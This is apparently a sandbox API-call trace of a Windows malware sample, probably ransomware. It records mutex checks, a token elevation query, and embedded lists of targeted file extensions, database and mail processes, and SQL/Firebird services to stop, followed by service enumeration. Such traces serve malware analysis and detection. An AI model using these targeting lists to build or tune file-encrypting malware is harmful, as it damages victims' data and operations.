	[0203.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x7) returned 0x577110
	[0203.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x578170
	[0203.560] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x578170, Size=0x20) returned 0x56b038
	[0203.560] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x56b038, Size=0x40) returned 0x577920
	[0203.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x57d9c0
	[0203.560] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_M77T2YA") returned 0x1ec
	[0203.560] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577110 | out: hHeap=0x560000) returned 1
	[0203.560] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0203.560] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577920 | out: hHeap=0x560000) returned 1
	[0203.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x7) returned 0x577070
	[0203.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x578170
	[0203.560] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x578170, Size=0x20) returned 0x56b038
	[0203.560] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x56b038, Size=0x40) returned 0x577890
	[0203.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x58d9c8
	[0203.561] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_M77T2YU") returned 0x1f0
	[0203.561] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577070 | out: hHeap=0x560000) returned 1
	[0203.561] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0203.561] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577890 | out: hHeap=0x560000) returned 1
	[0203.561] GetVersion () returned 0x23f00206
	[0203.561] GetCurrentProcess () returned 0xffffffff
	[0203.561] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0203.561] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0203.561] CloseHandle (hObject=0x1f4) returned 1
	[0203.562] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0203.562] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x576818
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x577fa8
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577fa8, Size=0x20) returned 0x56b038
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x56b038, Size=0x40) returned 0x577530
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577530, Size=0x80) returned 0x572538
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x572538, Size=0x100) returned 0x577da0
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x34) returned 0x57a740
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x577110
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x577120
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x577130
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x578170
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x577140
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x578188
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577140, Size=0x8) returned 0x577080
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5781a0
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577080, Size=0x10) returned 0x577fa8
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5781b8
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x577f00
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577fa8, Size=0x20) returned 0x56b038
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x577fa8
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x577ff0
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577110, Size=0x8) returned 0x577070
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577120, Size=0x8) returned 0x577080
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5770b0
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x578038
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x577000
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x578068
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577000, Size=0x8) returned 0x577110
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x578260
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577110, Size=0x10) returned 0x578278
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x578218
	[0203.562] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x577180
	[0203.562] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x578278, Size=0x20) returned 0x59dbe0
	[0203.563] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577070, Size=0x10) returned 0x578230
	[0203.563] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577080, Size=0x10) returned 0x578200
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x577110
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x578278
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x577190
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x578290
	[0203.563] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577190, Size=0x8) returned 0x577000
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x577120
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x578248
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x577140
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5782a8
	[0203.563] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577140, Size=0x8) returned 0x577190
	[0203.563] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x578230, Size=0x20) returned 0x59dcd0
	[0203.563] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x578200, Size=0x20) returned 0x59dc58
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x577140
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x578230
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x577070
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5782c0
	[0203.563] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577070, Size=0x8) returned 0x577080
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x576498
	[0203.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x576538
	[0203.563] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0203.563] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577da0 | out: hHeap=0x560000) returned 1
	[0203.563] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0203.566] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x578200
	[0203.566] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x578200, Size=0x20) returned 0x59dde8
	[0203.566] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dde8, Size=0x40) returned 0x5776e0
	[0203.566] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5776e0, Size=0x80) returned 0x577da0
	[0203.566] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577da0, Size=0x100) returned 0x577da0
	[0203.566] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x578200
	[0203.566] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x578200, Size=0x20) returned 0x59dac8
	[0203.567] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dac8, Size=0x40) returned 0x5776e0
	[0203.567] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5776e0, Size=0x80) returned 0x578660
	[0203.567] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x578660, Size=0x100) returned 0x578660
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x578200
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x5a1c38
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2db0
	[0203.567] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a1c38, Size=0x8) returned 0x5a1d08
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x576698
	[0203.567] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a1d08, Size=0x10) returned 0x5a2dc8
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x5766b8
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1a) returned 0x59dde8
	[0203.567] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2dc8, Size=0x20) returned 0x59da78
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1c) returned 0x59dc80
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x16) returned 0x576638
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1a) returned 0x59daa0
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5a2df8
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x5a1d48
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x577ba8
	[0203.567] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a1d48, Size=0x8) returned 0x5a1da8
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x3c) returned 0x5776e0
	[0203.567] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a1da8, Size=0x10) returned 0x5a2e40
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x576578
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x5767b8
	[0203.567] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59dac8
	[0203.567] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x24) returned 0x5755e0
	[0203.567] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0203.567] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577da0 | out: hHeap=0x560000) returned 1
	[0203.567] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0203.567] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x578660 | out: hHeap=0x560000) returned 1
	[0203.567] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59dc08
	[0203.571] EnumServicesStatusExW (in: hSCManager=0x59dc08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0203.571] GetLastError () returned 0xea
	[0203.571] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1bc4) returned 0x5a5548
	[0203.571] EnumServicesStatusExW (in: hSCManager=0x59dc08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5548, cbBufSize=0x1bc4, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5548, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0203.572] CloseServiceHandle (hSCObject=0x59dc08) returned 1
	[0203.573] lstrlenW (lpString="Appinfo") returned 7
	[0203.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0203.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0203.575] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0203.575] lstrlenW (lpString="AppXSvc") returned 7
	[0203.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0203.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0203.575] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0203.575] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0203.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0203.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0203.575] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0203.575] lstrlenW (lpString="Audiosrv") returned 8
	[0203.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0203.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0203.575] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0203.575] lstrlenW (lpString="BFE") returned 3
	[0203.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0203.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0203.575] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0203.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0203.576] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0203.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0203.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0203.576] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0203.576] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0203.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0203.576] lstrlenW (lpString="CDPSvc") returned 6
	[0203.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0203.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0203.576] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0203.576] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0203.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0203.576] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0203.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0203.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0203.576] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0203.576] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0203.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0203.576] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0203.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0203.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0203.576] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0203.576] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0203.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0203.576] lstrlenW (lpString="CryptSvc") returned 8
	[0203.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0203.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0203.577] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0203.577] lstrlenW (lpString="DcomLaunch") returned 10
	[0203.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0203.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0203.577] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0203.577] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0203.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0203.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0203.577] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0203.577] lstrlenW (lpString="Dhcp") returned 4
	[0203.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0203.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0203.577] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0203.577] lstrlenW (lpString="Dnscache") returned 8
	[0203.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0203.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0203.577] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0203.577] lstrlenW (lpString="DPS") returned 3
	[0203.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0203.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0203.577] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0203.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0203.578] lstrlenW (lpString="DusmSvc") returned 7
	[0203.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0203.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0203.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0203.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0203.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0203.578] lstrlenW (lpString="EventLog") returned 8
	[0203.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0203.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0203.578] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0203.578] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0203.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0203.578] lstrlenW (lpString="EventSystem") returned 11
	[0203.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0203.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0203.578] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0203.578] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0203.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0203.578] lstrlenW (lpString="FontCache") returned 9
	[0203.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0203.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0203.578] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0203.578] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0203.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0203.578] lstrlenW (lpString="gpsvc") returned 5
	[0203.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0203.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0203.578] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0203.578] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0203.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0203.578] lstrlenW (lpString="iphlpsvc") returned 8
	[0203.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0203.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0203.578] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0203.578] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0203.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0203.579] lstrlenW (lpString="KeyIso") returned 6
	[0203.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0203.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0203.579] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0203.579] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0203.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0203.579] lstrlenW (lpString="LanmanServer") returned 12
	[0203.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0203.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0203.579] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0203.579] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0203.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0203.579] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0203.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0203.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0203.579] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0203.579] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0203.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0203.579] lstrlenW (lpString="lfsvc") returned 5
	[0203.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0203.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0203.579] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0203.579] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0203.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0203.579] lstrlenW (lpString="lmhosts") returned 7
	[0203.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0203.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0203.579] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0203.579] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0203.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0203.579] lstrlenW (lpString="LSM") returned 3
	[0203.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0203.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0203.579] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0203.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0203.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
